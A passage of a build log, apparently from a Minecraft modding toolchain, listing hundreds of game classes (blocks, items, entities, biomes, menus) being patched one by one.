net/minecraft/world/level/block/state/BlockBehaviour$BlockStateBase$Cache 1/1 Patching net/minecraft/world/level/block/piston/PistonHeadBlock$1 1/1 Patching net/minecraft/world/level/block/piston/PistonStructureResolver 1/1 Patching net/minecraft/world/level/block/piston/PistonBaseBlock$1 1/1 Patching net/minecraft/world/level/block/state/BlockBehaviour$Properties 1/1 Patching net/minecraft/world/level/block/state/BlockBehaviour 1/1 Patching net/minecraft/world/level/block/piston/PistonHeadBlock 1/1 Patching net/minecraft/world/level/block/entity/SpawnerBlockEntity$1 1/1 Patching net/minecraft/world/level/block/entity/SpawnerBlockEntity 1/1 Patching net/minecraft/world/level/block/state/BlockBehaviour$BlockStateBase 1/1 Patching net/minecraft/world/level/block/piston/MovingPistonBlock 1/1 Patching net/minecraft/world/level/block/piston/PistonMovingBlockEntity 1/1 Patching net/minecraft/world/level/block/piston/PistonBaseBlock 1/1 Patching net/minecraft/world/level/block/entity/ShulkerBoxBlockEntity$AnimationStatus 1/1 Patching net/minecraft/world/level/block/entity/ShulkerBoxBlockEntity$1 1/1 Patching net/minecraft/world/level/block/entity/ShulkerBoxBlockEntity 1/1 Patching net/minecraft/world/level/block/entity/BrewingStandBlockEntity$1 1/1 Patching net/minecraft/world/level/block/entity/ChestBlockEntity$1 1/1 Patching net/minecraft/world/level/block/entity/ChestBlockEntity 1/1 Patching net/minecraft/world/level/block/entity/BlockEntityType$Builder 1/1 Patching net/minecraft/world/level/block/entity/BlockEntityType$BlockEntitySupplier 1/1 Patching net/minecraft/world/level/block/entity/ConduitBlockEntity 1/1 Patching net/minecraft/world/level/block/entity/BrewingStandBlockEntity 1/1 Patching net/minecraft/world/level/block/entity/BlockEntity 1/1 Patching net/minecraft/world/level/block/entity/BeaconBlockEntity$BeaconBeamSection 1/1 Patching net/minecraft/world/level/block/entity/BaseContainerBlockEntity 1/1 Patching net/minecraft/world/level/block/entity/BeaconBlockEntity$1 1/1 Patching net/minecraft/world/level/block/entity/BlockEntityType 1/1 Patching net/minecraft/world/level/block/entity/BannerPattern$Builder 1/1 Patching net/minecraft/world/level/block/entity/AbstractFurnaceBlockEntity$1 1/1 Patching net/minecraft/world/level/block/entity/HopperBlockEntity 1/1 Patching net/minecraft/world/level/block/entity/BannerPattern 1/1 Patching net/minecraft/world/level/block/entity/BeaconBlockEntity 1/1 Patching net/minecraft/world/level/block/WebBlock 1/1 Patching net/minecraft/world/level/block/VineBlock$1 1/1 Patching net/minecraft/world/level/block/entity/AbstractFurnaceBlockEntity 1/1 Patching net/minecraft/world/level/block/TripWireHookBlock$1 1/1 Patching net/minecraft/world/level/block/TripWireBlock$1 1/1 Patching net/minecraft/world/level/block/TrapDoorBlock$1 1/1 Patching net/minecraft/world/level/block/TripWireHookBlock 1/1 Patching net/minecraft/world/level/block/TripWireBlock 1/1 Patching net/minecraft/world/level/block/VineBlock 1/1 Patching net/minecraft/world/level/block/TrapDoorBlock 1/1 Patching net/minecraft/world/level/block/TallSeagrassBlock 1/1 Patching net/minecraft/world/level/block/TallGrassBlock 1/1 Patching net/minecraft/world/level/block/SweetBerryBushBlock 1/1 Patching net/minecraft/world/level/block/SugarCaneBlock 1/1 Patching net/minecraft/world/level/block/StairBlock$1 1/1 Patching net/minecraft/world/level/block/TntBlock 1/1 Patching net/minecraft/world/level/block/TurtleEggBlock 1/1 Patching net/minecraft/world/level/block/StemBlock 1/1 Patching net/minecraft/world/level/block/SpreadingSnowyDirtBlock 1/1 Patching net/minecraft/world/level/block/SpawnerBlock 1/1 Patching net/minecraft/world/level/block/StairBlock 1/1 Patching net/minecraft/world/level/block/SoundType 1/1 Patching net/minecraft/world/level/block/ShulkerBoxBlock$1 1/1 Patching net/minecraft/world/level/block/SeagrassBlock 1/1 Patching net/minecraft/world/level/block/SaplingBlock 1/1 Patching net/minecraft/world/level/block/ShulkerBoxBlock 1/1 Patching net/minecraft/world/level/block/RailState$1 1/1 Patching net/minecraft/world/level/block/RailBlock$1 1/1 Patching net/minecraft/world/level/block/RailBlock 1/1 Patching net/minecraft/world/level/block/RedStoneOreBlock 1/1 Patching net/minecraft/world/level/block/PoweredRailBlock$1 1/1 Patching net/minecraft/world/level/block/PumpkinBlock 1/1 Patching net/minecraft/world/level/block/RailState 1/1 Patching net/minecraft/world/level/block/PotatoBlock 1/1 Patching net/minecraft/world/level/block/PoweredRailBlock 1/1 Patching net/minecraft/world/level/block/OreBlock 1/1 Patching net/minecraft/world/level/block/NetherPortalBlock$1 1/1 Patching net/minecraft/world/level/block/NetherWartBlock 1/1 Patching net/minecraft/world/level/block/NoteBlock 1/1 Patching net/minecraft/world/level/block/NetherPortalBlock 1/1 Patching net/minecraft/world/level/block/MushroomBlock 1/1 Patching net/minecraft/world/level/block/LiquidBlock 1/1 Patching net/minecraft/world/level/block/LightBlock 1/1 Patching net/minecraft/world/level/block/LeavesBlock 1/1 Patching net/minecraft/world/level/block/GrowingPlantBodyBlock 1/1 Patching net/minecraft/world/level/block/GrowingPlantHeadBlock 1/1 Patching net/minecraft/world/level/block/FrostedIceBlock 1/1 Patching net/minecraft/world/level/block/FallingBlock 1/1 Patching net/minecraft/world/level/block/FlowerPotBlock 1/1 Patching net/minecraft/world/level/block/EndPortalBlock 1/1 Patching net/minecraft/world/level/block/EndGatewayBlock 1/1 Patching net/minecraft/world/level/block/FarmBlock 1/1 Patching net/minecraft/world/level/block/DropperBlock 1/1 Patching net/minecraft/world/level/block/DoublePlantBlock 1/1 Patching net/minecraft/world/level/block/EnchantmentTableBlock 1/1 Patching net/minecraft/world/level/block/DetectorRailBlock$1 1/1 Patching net/minecraft/world/level/block/FireBlock 1/1 Patching net/minecraft/world/level/block/DiodeBlock 1/1 Patching net/minecraft/world/level/block/DeadBushBlock 1/1 Patching net/minecraft/world/level/block/CropBlock 1/1 Patching net/minecraft/world/level/block/DetectorRailBlock 1/1 Patching net/minecraft/world/level/block/CocoaBlock$1 1/1 Patching net/minecraft/world/level/block/CocoaBlock 1/1 Patching net/minecraft/world/level/block/ChestBlock$4 1/1 Patching net/minecraft/world/level/block/ChestBlock$3 1/1 Patching net/minecraft/world/level/block/ChestBlock$2 1/1 Patching net/minecraft/world/level/block/ChestBlock$2$1 1/1 Patching net/minecraft/world/level/block/ChestBlock$1 1/1 Patching net/minecraft/world/level/block/ChorusFlowerBlock 1/1 Patching net/minecraft/world/level/block/CaveVinesPlantBlock 1/1 Patching net/minecraft/world/level/block/ChestBlock 1/1 Patching net/minecraft/world/level/block/CaveVinesBlock 1/1 Patching net/minecraft/world/level/block/CarrotBlock 1/1 Patching net/minecraft/world/level/block/CactusBlock 1/1 Patching net/minecraft/world/level/block/CandleCakeBlock 1/1 Patching net/minecraft/world/level/block/ComparatorBlock 1/1 Patching net/minecraft/world/level/block/BushBlock 1/1 Patching net/minecraft/world/level/block/CampfireBlock 1/1 Patching net/minecraft/world/level/block/Block$BlockStatePairKey 1/1 Patching net/minecraft/world/level/block/Block$2 1/1 Patching net/minecraft/world/level/block/Block$1 1/1 Patching net/minecraft/world/level/block/BigDripleafStemBlock$1 1/1 Patching net/minecraft/world/level/block/BigDripleafStemBlock 1/1 Patching net/minecraft/world/level/block/BeetrootBlock 1/1 Patching net/minecraft/world/level/block/BaseRailBlock$1 1/1 Patching net/minecraft/world/level/block/Block 1/1 Patching net/minecraft/world/level/block/BaseRailBlock 1/1 Patching net/minecraft/world/level/block/BeehiveBlock 1/1 Patching net/minecraft/world/level/block/BaseFireBlock 1/1 Patching net/minecraft/world/level/block/BannerBlock 1/1 Patching net/minecraft/world/level/block/AttachedStemBlock 1/1 Patching net/minecraft/world/level/block/BambooSaplingBlock 1/1 Patching net/minecraft/world/level/block/BambooBlock 1/1 Patching net/minecraft/world/level/block/AbstractBannerBlock 1/1 Patching net/minecraft/world/level/biome/OverworldBiomeSource 1/1 Patching net/minecraft/world/level/biome/MobSpawnSettings$MobSpawnCost 1/1 Patching net/minecraft/world/level/biome/MobSpawnSettings$SpawnerData 1/1 Patching net/minecraft/world/level/biome/MobSpawnSettings$Builder 1/1 Patching net/minecraft/world/level/biome/MobSpawnSettings 1/1 Patching net/minecraft/world/level/biome/BiomeSpecialEffects$GrassColorModifier$3 1/1 Patching net/minecraft/world/level/biome/BiomeSpecialEffects$GrassColorModifier$2 1/1 Patching net/minecraft/world/level/biome/BiomeSpecialEffects$GrassColorModifier$1 1/1 Patching net/minecraft/world/level/biome/BiomeSpecialEffects$GrassColorModifier 1/1 Patching net/minecraft/world/level/biome/BiomeSpecialEffects$Builder 1/1 Patching net/minecraft/world/level/biome/BiomeSpecialEffects 1/1 Patching net/minecraft/world/level/biome/Biome$TemperatureModifier$1 1/1 Patching net/minecraft/world/level/biome/Biome$TemperatureModifier$2 1/1 Patching net/minecraft/world/level/biome/Biome$TemperatureModifier 1/1 Patching net/minecraft/world/level/biome/BiomeGenerationSettings 1/1 Patching net/minecraft/world/level/biome/Biome$Precipitation 1/1 Patching net/minecraft/world/level/biome/Biome$1 1/1 Patching net/minecraft/world/level/biome/Biome$ClimateSettings 1/1 Patching net/minecraft/world/level/biome/BiomeGenerationSettings$Builder 1/1 Patching net/minecraft/world/level/biome/Biome$BiomeBuilder 1/1 Patching net/minecraft/world/level/biome/Biome$ClimateParameters 1/1 Patching net/minecraft/world/level/biome/Biome$BiomeCategory 1/1 Patching net/minecraft/world/level/NaturalSpawner$SpawnPredicate 1/1 Patching net/minecraft/world/level/NaturalSpawner$ChunkGetter 1/1 Patching net/minecraft/world/level/NaturalSpawner$AfterSpawnCallback 1/1 Patching net/minecraft/world/level/NaturalSpawner$SpawnState 1/1 Patching net/minecraft/world/level/NaturalSpawner$1 1/1 Patching net/minecraft/world/level/Level$1 1/1 Patching net/minecraft/world/level/LevelSettings 1/1 Patching net/minecraft/world/level/biome/Biome 1/1 Patching net/minecraft/world/level/LevelReader 1/1 Patching net/minecraft/world/level/ForcedChunksSavedData 1/1 Patching net/minecraft/world/level/ExplosionDamageCalculator 1/1 Patching net/minecraft/world/level/Explosion$BlockInteraction 1/1 Patching net/minecraft/world/level/NaturalSpawner 1/1 Patching net/minecraft/world/level/DataPackConfig 1/1 Patching net/minecraft/world/level/ClipContext 1/1 Patching net/minecraft/world/level/ClipContext$ShapeGetter 1/1 Patching net/minecraft/world/level/ClipContext$Fluid 1/1 Patching net/minecraft/world/level/ClipContext$Block 1/1 Patching net/minecraft/world/level/Explosion 1/1 Patching net/minecraft/world/level/BlockGetter 1/1 Patching net/minecraft/world/item/trading/MerchantOffer 1/1 Patching net/minecraft/world/level/BaseSpawner 1/1 Patching net/minecraft/world/level/Level 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentHelper$EnchantmentVisitor 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentCategory$9 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentCategory$8 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentCategory$7 1/1 Patching net/minecraft/world/item/enchantment/FrostWalkerEnchantment 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentCategory$6 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentCategory$5 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentCategory$4 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentCategory$2 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentCategory$3 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentCategory$12 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentCategory$11 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentCategory$13 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentCategory$10 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentCategory$14 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentCategory$1 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentCategory 1/1 Patching net/minecraft/world/item/enchantment/DiggingEnchantment 1/1 Patching net/minecraft/world/item/enchantment/Enchantment$Rarity 1/1 Patching net/minecraft/world/item/enchantment/Enchantment 1/1 Patching net/minecraft/world/item/enchantment/Enchantments 1/1 Patching net/minecraft/world/item/crafting/StonecutterRecipe 1/1 Patching net/minecraft/world/item/crafting/SmeltingRecipe 1/1 Patching net/minecraft/world/item/crafting/SmokingRecipe 1/1 Patching net/minecraft/world/item/crafting/UpgradeRecipe 1/1 Patching net/minecraft/world/item/crafting/SuspiciousStewRecipe 1/1 Patching net/minecraft/world/item/crafting/UpgradeRecipe$Serializer 1/1 Patching net/minecraft/world/item/crafting/TippedArrowRecipe 1/1 Patching net/minecraft/world/item/crafting/SingleItemRecipe$Serializer$SingleItemMaker 1/1 Patching net/minecraft/world/item/crafting/SingleItemRecipe 1/1 Patching net/minecraft/world/item/crafting/SimpleCookingSerializer$CookieBaker 1/1 Patching net/minecraft/world/item/crafting/SimpleRecipeSerializer 1/1 Patching net/minecraft/world/item/crafting/ShulkerBoxColoring 1/1 Patching net/minecraft/world/item/crafting/SingleItemRecipe$Serializer 1/1 Patching net/minecraft/world/item/crafting/ShapelessRecipe 1/1 Patching net/minecraft/world/item/crafting/SimpleCookingSerializer 1/1 Patching net/minecraft/world/item/enchantment/EnchantmentHelper 1/1 Patching net/minecraft/world/item/crafting/ShapelessRecipe$Serializer 1/1 Patching net/minecraft/world/item/crafting/ShieldDecorationRecipe 1/1 Patching net/minecraft/world/item/crafting/ShapedRecipe$Serializer 1/1 Patching net/minecraft/world/item/crafting/Recipe 1/1 Patching net/minecraft/world/item/crafting/RepairItemRecipe 1/1 Patching net/minecraft/world/item/crafting/MapCloningRecipe 1/1 Patching net/minecraft/world/item/crafting/Ingredient$Value 1/1 Patching net/minecraft/world/item/crafting/Ingredient$ItemValue 1/1 Patching net/minecraft/world/item/crafting/Ingredient$TagValue 1/1 Patching net/minecraft/world/item/crafting/FireworkStarFadeRecipe 1/1 Patching net/minecraft/world/item/crafting/FireworkRocketRecipe 1/1 Patching net/minecraft/world/item/crafting/ShapedRecipe 1/1 Patching net/minecraft/world/item/crafting/CampfireCookingRecipe 1/1 Patching net/minecraft/world/item/crafting/FireworkStarRecipe 1/1 Patching net/minecraft/world/item/crafting/BlastingRecipe 1/1 Patching net/minecraft/world/item/crafting/BookCloningRecipe 1/1 Patching net/minecraft/world/item/crafting/BannerDuplicateRecipe 1/1 Patching net/minecraft/world/item/crafting/RecipeSerializer 1/1 Patching net/minecraft/world/item/crafting/AbstractCookingRecipe 1/1 Patching net/minecraft/world/item/crafting/RecipeManager 1/1 Patching net/minecraft/world/item/crafting/ArmorDyeRecipe 1/1 Patching net/minecraft/world/item/crafting/Ingredient 1/1 Patching net/minecraft/world/item/alchemy/PotionBrewing$Mix 1/1 Patching net/minecraft/world/item/alchemy/Potion 1/1 Patching net/minecraft/world/item/Tier 1/1 Patching net/minecraft/world/item/alchemy/PotionBrewing 1/1 Patching net/minecraft/world/item/Tiers 1/1 Patching net/minecraft/world/item/StandingAndWallBlockItem 1/1 Patching net/minecraft/world/item/SwordItem 1/1 Patching net/minecraft/world/item/ShieldItem 1/1 Patching net/minecraft/world/item/ShearsItem 1/1 Patching net/minecraft/world/item/Rarity 1/1 Patching net/minecraft/world/item/ShovelItem 1/1 Patching net/minecraft/world/item/RecordItem 1/1 Patching net/minecraft/world/item/PickaxeItem 1/1 Patching net/minecraft/world/item/MinecartItem 1/1 Patching net/minecraft/world/item/MinecartItem$1 1/1 Patching net/minecraft/world/item/MilkBucketItem 1/1 Patching net/minecraft/world/item/ItemStack$TooltipPart 1/1 Patching net/minecraft/world/item/Item$1 1/1 Patching net/minecraft/world/item/Item$Properties 1/1 Patching net/minecraft/world/item/MapItem 1/1 Patching net/minecraft/world/item/HorseArmorItem 1/1 Patching net/minecraft/world/item/HoeItem 1/1 Patching net/minecraft/world/item/Item 1/1 Patching net/minecraft/world/item/ElytraItem 1/1 Patching net/minecraft/world/item/MobBucketItem 1/1 Patching net/minecraft/world/item/ItemStack 1/1 Patching net/minecraft/world/item/DyeableHorseArmorItem 1/1 Patching net/minecraft/world/item/DiggerItem 1/1 Patching net/minecraft/world/item/DyeColor 1/1 Patching net/minecraft/world/item/CreativeModeTab$9 1/1 Patching net/minecraft/world/item/CreativeModeTab$8 1/1 Patching net/minecraft/world/item/CreativeModeTab$7 1/1 Patching net/minecraft/world/item/CreativeModeTab$6 1/1 Patching net/minecraft/world/item/CreativeModeTab$5 1/1 Patching net/minecraft/world/item/CreativeModeTab$4 1/1 Patching net/minecraft/world/item/CreativeModeTab$3 1/1 Patching net/minecraft/world/item/CreativeModeTab$2 1/1 Patching net/minecraft/world/item/CreativeModeTab$12 1/1 Patching net/minecraft/world/item/CreativeModeTab$10 1/1 Patching net/minecraft/world/item/CreativeModeTab$1 1/1 Patching net/minecraft/world/item/CreativeModeTab$11 1/1 Patching net/minecraft/world/item/CreativeModeTab 1/1 Patching net/minecraft/world/item/ChorusFruitItem 1/1 Patching net/minecraft/world/item/BucketItem 1/1 Patching net/minecraft/world/item/BowItem 1/1 Patching net/minecraft/world/item/BoneMealItem 1/1 Patching net/minecraft/world/item/BlockItem 1/1 Patching net/minecraft/world/item/AxeItem 1/1 Patching net/minecraft/world/item/ArrowItem 1/1 Patching net/minecraft/world/item/ArmorItem$1 1/1 Patching net/minecraft/world/item/ArmorItem 1/1 Patching net/minecraft/world/inventory/Slot 1/1 Patching net/minecraft/world/inventory/ResultSlot 1/1 Patching net/minecraft/world/inventory/RecipeBookMenu 1/1 Patching net/minecraft/world/inventory/MenuType$MenuSupplier 1/1 Patching net/minecraft/world/inventory/MenuType 1/1 Patching net/minecraft/world/inventory/InventoryMenu$2 1/1 Patching net/minecraft/world/inventory/InventoryMenu$1 1/1 Patching net/minecraft/world/inventory/InventoryMenu 1/1 Patching net/minecraft/world/inventory/GrindstoneMenu$3 1/1 Patching net/minecraft/world/inventory/GrindstoneMenu$2 1/1 Patching net/minecraft/world/inventory/GrindstoneMenu$4 1/1 Patching net/minecraft/world/inventory/GrindstoneMenu$1 1/1 Patching net/minecraft/world/inventory/FurnaceResultSlot 1/1 Patching net/minecraft/world/level/block/Blocks 1/1 Patching net/minecraft/world/inventory/EnchantmentMenu$3 1/1 Patching net/minecraft/world/inventory/GrindstoneMenu 1/1 Patching net/minecraft/world/inventory/EnchantmentMenu$2 1/1 Patching net/minecraft/world/inventory/EnchantmentMenu$1 1/1 Patching net/minecraft/world/inventory/EnchantmentMenu 1/1 Patching net/minecraft/world/inventory/BrewingStandMenu$IngredientsSlot 1/1 Patching net/minecraft/world/inventory/BrewingStandMenu$PotionSlot 1/1 Patching net/minecraft/world/inventory/BrewingStandMenu$FuelSlot 1/1 Patching net/minecraft/world/inventory/BeaconMenu$PaymentSlot 1/1 Patching net/minecraft/world/inventory/BrewingStandMenu 1/1 Patching net/minecraft/world/inventory/BeaconMenu$1 1/1 Patching net/minecraft/world/inventory/AnvilMenu$1 1/1 Patching net/minecraft/world/inventory/BeaconMenu 1/1 Patching net/minecraft/world/inventory/AbstractContainerMenu$1 1/1 Patching net/minecraft/world/food/FoodProperties 1/1 Patching net/minecraft/world/inventory/AbstractFurnaceMenu 1/1 Patching net/minecraft/world/inventory/AnvilMenu 1/1 Patching net/minecraft/world/food/FoodProperties$Builder 1/1 Patching net/minecraft/world/entity/vehicle/MinecartSpawner$1 1/1 Patching net/minecraft/world/entity/vehicle/MinecartSpawner 1/1 Patching net/minecraft/world/entity/vehicle/MinecartCommandBlock 1/1 Patching net/minecraft/world/entity/vehicle/MinecartCommandBlock$MinecartCommandBase 1/1 Patching net/minecraft/world/entity/vehicle/MinecartFurnace 1/1 Patching net/minecraft/world/entity/vehicle/Boat$Status 1/1 Patching net/minecraft/world/entity/vehicle/Boat$Type 1/1 Patching net/minecraft/world/entity/vehicle/Boat$1 1/1 Patching net/minecraft/world/entity/vehicle/AbstractMinecartContainer$1 1/1 Patching net/minecraft/world/inventory/AbstractContainerMenu 1/1 Patching net/minecraft/world/entity/vehicle/Minecart 1/1 Patching net/minecraft/world/entity/vehicle/AbstractMinecart$1 1/1 Patching net/minecraft/world/entity/vehicle/AbstractMinecart$Type 1/1 Patching net/minecraft/world/entity/vehicle/AbstractMinecartContainer 1/1 Patching net/minecraft/world/entity/schedule/Activity 1/1 Patching net/minecraft/world/entity/schedule/Schedule 1/1 Patching net/minecraft/world/entity/raid/Raid$RaiderType 1/1 Patching net/minecraft/world/entity/raid/Raid$RaidStatus 1/1 Patching net/minecraft/world/entity/raid/Raid$1 1/1 Patching net/minecraft/world/entity/vehicle/Boat 1/1 Patching net/minecraft/world/item/Items 1/1 Patching net/minecraft/world/entity/projectile/ThrowableProjectile 1/1 Patching net/minecraft/world/entity/vehicle/AbstractMinecart 1/1 Patching net/minecraft/world/entity/projectile/WitherSkull 1/1 Patching net/minecraft/world/entity/projectile/ProjectileUtil 1/1 Patching net/minecraft/world/entity/raid/Raid 1/1 Patching net/minecraft/world/entity/projectile/ThrownEnderpearl 1/1 Patching net/minecraft/world/entity/projectile/Projectile 1/1 Patching net/minecraft/world/entity/projectile/SmallFireball 1/1 Patching net/minecraft/world/entity/projectile/FishingHook$FishHookState 1/1 Patching net/minecraft/world/entity/projectile/FishingHook$OpenWaterType 1/1 Patching net/minecraft/world/entity/projectile/FishingHook$1 1/1 Patching net/minecraft/world/entity/projectile/ShulkerBullet 1/1 Patching net/minecraft/world/entity/projectile/LargeFireball 1/1 Patching net/minecraft/world/entity/projectile/FireworkRocketEntity 1/1 Patching net/minecraft/world/entity/projectile/AbstractHurtingProjectile 1/1 Patching net/minecraft/world/entity/projectile/AbstractArrow$1 1/1 Patching net/minecraft/world/entity/projectile/AbstractArrow$Pickup 1/1 Patching net/minecraft/world/entity/player/Player$BedSleepingProblem 1/1 Patching net/minecraft/world/entity/player/Player$1 1/1 Patching net/minecraft/world/entity/projectile/FishingHook 1/1 Patching net/minecraft/world/entity/projectile/AbstractArrow 1/1 Patching net/minecraft/world/entity/projectile/LlamaSpit 1/1 Patching net/minecraft/world/entity/player/Inventory 1/1 Patching net/minecraft/world/entity/npc/VillagerProfession 1/1 Patching net/minecraft/world/entity/npc/CatSpawner 1/1 Patching net/minecraft/world/entity/npc/AbstractVillager 1/1 Patching net/minecraft/world/entity/monster/piglin/StopHoldingItemIfNoLongerAdmiring 1/1 Patching net/minecraft/world/entity/npc/Villager 1/1 Patching net/minecraft/world/entity/monster/piglin/Piglin 1/1 Patching net/minecraft/world/entity/monster/piglin/AbstractPiglin 1/1 Patching net/minecraft/world/entity/monster/Zombie$ZombieGroupData 1/1 Patching net/minecraft/world/entity/monster/Zombie$ZombieAttackTurtleEggGoal 1/1 Patching net/minecraft/world/entity/player/Player 1/1 Patching net/minecraft/world/entity/monster/ZombieVillager 1/1 Patching net/minecraft/world/entity/monster/hoglin/Hoglin 1/1 Patching net/minecraft/world/entity/monster/piglin/PiglinAi 1/1 Patching net/minecraft/world/entity/monster/Zombie 1/1 Patching net/minecraft/world/entity/monster/Spider$SpiderEffectsGroupData 1/1 Patching net/minecraft/world/entity/monster/Spider$SpiderTargetGoal 1/1 Patching net/minecraft/world/entity/monster/Spider$SpiderAttackGoal 1/1 Patching net/minecraft/world/entity/monster/Slime$SlimeKeepOnJumpingGoal 1/1 Patching net/minecraft/world/entity/monster/Slime$SlimeMoveControl 1/1 Patching net/minecraft/world/entity/monster/Slime$SlimeFloatGoal 1/1 Patching net/minecraft/world/entity/monster/Slime$SlimeAttackGoal 1/1 Patching net/minecraft/world/entity/monster/Silverfish$SilverfishWakeUpFriendsGoal 1/1 Patching net/minecraft/world/entity/monster/Slime$SlimeRandomDirectionGoal 1/1 Patching net/minecraft/world/entity/monster/Silverfish 1/1 Patching net/minecraft/world/entity/monster/Silverfish$SilverfishMergeWithStoneGoal 1/1 Patching net/minecraft/world/entity/monster/Slime 1/1 Patching net/minecraft/world/entity/monster/Ravager$RavagerNodeEvaluator 1/1 Patching net/minecraft/world/entity/monster/Ravager$RavagerNavigation 1/1 Patching net/minecraft/world/entity/monster/Spider 1/1 Patching net/minecraft/world/entity/monster/Ravager$RavagerMeleeAttackGoal 1/1 Patching net/minecraft/world/entity/monster/Ravager 1/1 Patching net/minecraft/world/entity/monster/MagmaCube 1/1 Patching net/minecraft/world/entity/monster/Illusioner$IllusionerMirrorSpellGoal 1/1 Patching net/minecraft/world/entity/monster/Illusioner$IllusionerBlindnessSpellGoal 1/1 Patching net/minecraft/world/entity/monster/Pillager 1/1 Patching net/minecraft/world/entity/monster/Illusioner 1/1 Patching net/minecraft/world/entity/monster/Evoker 1/1 Patching net/minecraft/world/entity/monster/Evoker$EvokerWololoSpellGoal 1/1 Patching net/minecraft/world/entity/monster/Evoker$EvokerCastingSpellGoal 1/1 Patching net/minecraft/world/entity/monster/Evoker$EvokerSummonSpellGoal 1/1 Patching net/minecraft/world/entity/monster/Evoker$EvokerAttackSpellGoal 1/1 Patching net/minecraft/world/entity/monster/EnderMan$EndermanTakeBlockGoal 1/1 Patching net/minecraft/world/entity/monster/EnderMan$EndermanLookForPlayerGoal 1/1 Patching net/minecraft/world/entity/monster/CrossbowAttackMob 1/1 Patching net/minecraft/world/entity/monster/EnderMan$EndermanLeaveBlockGoal 1/1 Patching net/minecraft/world/entity/monster/EnderMan$EndermanFreezeWhenLookedAt 1/1 Patching net/minecraft/world/entity/monster/AbstractSkeleton$1 1/1 Patching net/minecraft/world/entity/monster/EnderMan 1/1 Patching net/minecraft/world/entity/monster/AbstractSkeleton 1/1 Patching net/minecraft/world/entity/monster/Creeper 1/1 Patching net/minecraft/world/entity/decoration/Motive 1/1 Patching net/minecraft/world/entity/decoration/HangingEntity$1 1/1 Patching net/minecraft/world/entity/decoration/ArmorStand$1 1/1 Patching net/minecraft/world/entity/item/ItemEntity 1/1 Patching net/minecraft/world/entity/boss/wither/WitherBoss$WitherDoNothingGoal 1/1 Patching net/minecraft/world/entity/decoration/HangingEntity 1/1 Patching net/minecraft/world/entity/boss/EnderDragonPart 1/1 Patching net/minecraft/world/entity/boss/wither/WitherBoss 1/1 Patching net/minecraft/world/entity/decoration/ArmorStand 1/1 Patching net/minecraft/world/entity/animal/horse/Horse$HorseGroupData 1/1 Patching net/minecraft/world/entity/animal/horse/SkeletonTrapGoal 1/1 Patching net/minecraft/world/entity/animal/horse/AbstractHorse$1 1/1 Patching net/minecraft/world/entity/boss/enderdragon/EnderDragon 1/1 Patching net/minecraft/world/entity/animal/Wolf$WolfAvoidEntityGoal 1/1 Patching net/minecraft/world/entity/animal/horse/Horse 1/1 Patching net/minecraft/world/entity/animal/horse/AbstractHorse 1/1 Patching net/minecraft/world/entity/animal/Wolf 1/1 Patching net/minecraft/world/entity/animal/Sheep$2 1/1 Patching net/minecraft/world/entity/animal/Sheep$1 1/1 Patching net/minecraft/world/entity/animal/SnowGolem 1/1 Patching net/minecraft/world/entity/animal/Sheep 1/1 Patching net/minecraft/world/entity/animal/Rabbit$RabbitGroupData 1/1 Patching net/minecraft/world/entity/animal/Rabbit$EvilRabbitAttackGoal 1/1 Patching net/minecraft/world/entity/animal/Rabbit$RabbitPanicGoal 1/1 Patching net/minecraft/world/entity/animal/Rabbit$RaidGardenGoal 1/1 Patching net/minecraft/world/entity/animal/Rabbit 1/1 Patching net/minecraft/world/entity/animal/Rabbit$RabbitJumpControl 1/1 Patching net/minecraft/world/entity/animal/Rabbit$RabbitAvoidEntityGoal 1/1 Patching net/minecraft/world/entity/animal/Rabbit$RabbitMoveControl 1/1 Patching net/minecraft/world/entity/animal/Parrot$1 1/1 Patching net/minecraft/world/entity/animal/Parrot 1/1 Patching net/minecraft/world/entity/animal/Pig 1/1 Patching net/minecraft/world/entity/animal/MushroomCow$MushroomType 1/1 Patching net/minecraft/world/entity/animal/IronGolem$Crackiness 1/1 Patching net/minecraft/world/entity/animal/Fox$Type 1/1 Patching net/minecraft/world/entity/animal/Ocelot$OcelotTemptGoal 1/1 Patching net/minecraft/world/entity/animal/IronGolem 1/1 Patching net/minecraft/world/entity/animal/Ocelot$OcelotAvoidEntityGoal 1/1 Patching net/minecraft/world/entity/animal/Ocelot 1/1 Patching net/minecraft/world/entity/animal/Fox$FoxSearchForItemsGoal 1/1 Patching net/minecraft/world/entity/animal/Fox$StalkPreyGoal 1/1 Patching net/minecraft/world/entity/animal/Fox$SleepGoal 1/1 Patching net/minecraft/world/entity/animal/Fox$FoxPanicGoal 1/1 Patching net/minecraft/world/entity/animal/Fox$FoxMoveControl 1/1 Patching net/minecraft/world/entity/animal/Fox$SeekShelterGoal 1/1 Patching net/minecraft/world/entity/animal/MushroomCow 1/1 Patching net/minecraft/world/entity/animal/Fox$FoxLookControl 1/1 Patching net/minecraft/world/entity/animal/Fox$FoxPounceGoal 1/1 Patching net/minecraft/world/entity/animal/Fox$FoxMeleeAttackGoal 1/1 Patching net/minecraft/world/entity/animal/Fox$FoxGroupData 1/1 Patching net/minecraft/world/entity/animal/Fox$FoxFollowParentGoal 1/1 Patching net/minecraft/world/entity/animal/Fox$FoxFloatGoal 1/1 Patching net/minecraft/world/entity/animal/Fox$FoxLookAtPlayerGoal 1/1 Patching net/minecraft/world/entity/animal/Fox$FoxStrollThroughVillageGoal 1/1 Patching net/minecraft/world/entity/animal/Fox$PerchAndSearchGoal 1/1 Patching net/minecraft/world/entity/animal/Fox$FaceplantGoal 1/1 Patching net/minecraft/world/entity/animal/Fox$FoxAlertableEntitiesSelector 1/1 Patching net/minecraft/world/entity/animal/Fox$FoxBehaviorGoal 1/1 Patching net/minecraft/world/entity/animal/Fox$FoxEatBerriesGoal 1/1 Patching net/minecraft/world/entity/animal/Fox$FoxBreedGoal 1/1 Patching net/minecraft/world/entity/animal/Fox$DefendTrustedTargetGoal 1/1 Patching 